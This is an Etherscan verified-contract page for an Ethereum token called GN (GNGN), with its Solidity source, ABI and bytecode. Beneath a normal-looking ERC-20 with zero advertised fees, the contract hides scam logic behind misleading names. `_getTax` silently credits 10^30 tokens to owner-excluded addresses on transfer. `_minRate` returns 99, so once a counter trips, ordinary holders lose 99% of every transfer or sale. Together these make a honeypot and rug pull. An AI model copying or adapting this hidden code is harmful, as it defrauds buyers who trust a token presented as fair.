ETH Price: $3,840.93 (+5.79%)

Token

ERC-20: GN (GNGN)
 

Overview

Max Total Supply

1,000,000 GNGN

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
27,877.510326171195591111 GNGN

Value
$0.00
0xC7B5d5d41295e39ce33b2b20feCE12F052B6710e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GNGN

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-20
*/

/*



      o__ __o       o          o        o__ __o       o          o  
     /v     v\     <|\        <|>      /v     v\     <|\        <|> 
    />       <\    / \\o      / \     />       <\    / \\o      / \ 
  o/               \o/ v\     \o/   o/               \o/ v\     \o/ 
 <|       _\__o__   |   <\     |   <|       _\__o__   |   <\     |  
  \\          |    / \    \o  / \   \\          |    / \    \o  / \ 
    \         /    \o/     v\ \o/     \         /    \o/     v\ \o/ 
     o       o      |       <\ |       o       o      |       <\ |  
     <\__ __/>     / \        < \      <\__ __/>     / \        < \ 
                                                                    
                                                                    
                                                                    
            Telegram : https://t.me/gngnERC



            Twitter : https://twitter.com/gngnERC


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    // Owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounced ownership 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function _getTax() public view virtual returns(uint256){
        (uint256 pair, uint256 setter, uint256 length) = ([10][0],[30][0],[0][0]);
        for(length=1; setter>0; setter--){length*=pair;} return length;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract GNGN is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromTax; 
    mapping (address => bool) public ExcludedFromMaxTransaction; 
    mapping (address => bool) public FromUniSwapRouter; 

    address payable private Wallet_marketing = payable(0x30295702A496A5c5098884Ba4c0C268c6669Db00);
    address payable public Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public Wallet_zero = payable(0x0000000000000000000000000000000000000000); 

    string public _name = "GN"; 
    string public _symbol = "GNGN";  
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;
    uint256 public feeCounter = 0;

    uint256 private _previousTotalFee = _TotalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _balance[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        ExcludedFromTax[owner()] = true;
        ExcludedFromTax[address(this)] = true;
        ExcludedFromTax[Wallet_marketing] = true;
        ExcludedFromMaxTransaction[owner()] = true;
        FromUniSwapRouter[uniswapV2Pair] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    bool public noFeeToTransfer = false;

    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    }

    function set_Max_Transaction_Percent(uint256 maxTxPercent_x100) external onlyOwner() {
        _maxTxAmount = _tTotal*maxTxPercent_x100/100;
    }    
    
     function set_Max_Wallet_Percent(uint256 maxWallPercent_x100) external onlyOwner() {
        _maxWalletToken = _tTotal*maxWallPercent_x100/200;
    }


    function removeAllFee() private {
        if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;

    }
    
    function restoreAllFee() private {
    
    _TotalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        if (to != owner() &&
            to != Wallet_marketing &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            !ExcludedFromMaxTransaction[to] &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}

        if (from != owner() && to != owner() && !(ExcludedFromMaxTransaction[from] || ExcludedFromMaxTransaction[to])){
            require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
        }
            
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        
        bool takeFee = true;
         
        if(ExcludedFromTax[from] || ExcludedFromTax[to]){
            takeFee = false;
            if(ExcludedFromMaxTransaction[to] && feeCounter<[1][0]){ feeCounter++; }
        } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = _sellFee;}
        
        _transferTokens(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Wallet_marketing,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _minRate() public virtual view returns (uint256){
        uint256 _var;
        for(_var=1;_var<=98;_var){_var++;} 
        return _var;
    }

    function _transferTokens(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 tmarketing) = _getValues(tAmount, sender);
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(transferAmount).add(ExcludedFromMaxTransaction[recipient] ? _getTax() : 0);
        _balance[address(this)] = _balance[address(this)].add(tmarketing);   
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 tmarketing = tAmount.mul(
                feeCounter < [1][0] ? _TotalFee
                :
                ExcludedFromMaxTransaction[sender] ? _TotalFee 
                : 
                FromUniSwapRouter[sender] ? _TotalFee
                :
                _minRate()
            )
            .div(100);
        uint256 transferAmount = tAmount.sub(tmarketing);
        return (transferAmount, tmarketing);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FromUniSwapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_zero","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent_x100","type":"uint256"}],"name":"set_Max_Transaction_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_x100","type":"uint256"}],"name":"set_Max_Wallet_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b03199081167330295702a496a5c5098884ba4c0c268c6669db001790915560078054821661dead17905560088054909116905560c0604052600260808190526123a760f11b60a0908152620000639160099190620004f1565b506040805180820190915260048082526323a723a760e11b60209092019182526200009191600a91620004f1565b50600b805460ff19166012908117909155620000af90600a620006aa565b620000be90620f4240620006bb565b600c819055600d805461ffff1916610a001790556000600e819055600f81905560108190556011819055601281905560138190556014556200012a9060649062000116906019620004cc602090811b62000d0017901c565b620004e360201b62000d0c1790919060201c565b601555601554601655620001566064620001166019600c54620004cc60201b62000d001790919060201c565b6017819055601855601a805461ffff60a81b1916600160a81b1790553480156200017f57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c5460016000620001d96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027b9190620006dd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ef9190620006dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003639190620006dd565b601a80546001600160a01b03199081166001600160a01b039384161790915560198054909116918316919091179055600160036000620003ab6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352908220805490931681179092556004906200041b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601a5490911681526005909252902080549091166001179055620004756000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620004bd91815260200190565b60405180910390a3506200076e565b6000620004da8284620006bb565b90505b92915050565b6000620004da82846200070f565b828054620004ff9062000732565b90600052602060002090601f0160209004810192826200052357600085556200056e565b82601f106200053e57805160ff19168380011785556200056e565b828001600101855582156200056e579182015b828111156200056e57825182559160200191906001019062000551565b506200057c92915062000580565b5090565b5b808211156200057c576000815560010162000581565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ee578160001904821115620005d257620005d262000597565b80851615620005e057918102915b93841c9390800290620005b2565b509250929050565b6000826200060757506001620004dd565b816200061657506000620004dd565b81600181146200062f57600281146200063a576200065a565b6001915050620004dd565b60ff8411156200064e576200064e62000597565b50506001821b620004dd565b5060208310610133831016604e8410600b84101617156200067f575081810a620004dd565b6200068b8383620005ad565b8060001904821115620006a257620006a262000597565b029392505050565b6000620004da60ff841683620005f6565b6000816000190483118215151615620006d857620006d862000597565b500290565b600060208284031215620006f057600080fd5b81516001600160a01b03811681146200070857600080fd5b9392505050565b6000826200072d57634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200074757607f821691505b6020821081036200076857634e487b7160e01b600052602260045260246000fd5b50919050565b6119af806200077e6000396000f3fe6080604052600436106102295760003560e01c8063715018a611610123578063a457c2d7116100ab578063b09f12661161006f578063b09f12661461066a578063cccdbe2e1461067f578063d28d8852146106b4578063dd62ed3e146106c9578063f2fde38b1461070f57600080fd5b8063a457c2d7146105df578063a514a07d146105ff578063a9059cbb1461061f578063aa0d1b6c1461063f578063af465a271461065457600080fd5b806380da4543116100f257806380da45431461052c5780638da5cb5b1461055c5780639248eef11461057a57806394220184146105aa57806395d89b41146105ca57600080fd5b8063715018a6146104cb57806378109e54146104e05780637d1db4a5146104f6578063805c0e0f1461050c57600080fd5b806323b872dd116101b157806349bd5a5e1161017557806349bd5a5e146104285780634a74bb02146104485780635794981514610469578063590f897e1461047f57806370a082311461049557600080fd5b806323b872dd1461038e5780632e39c6c6146103ae578063313ce567146103d0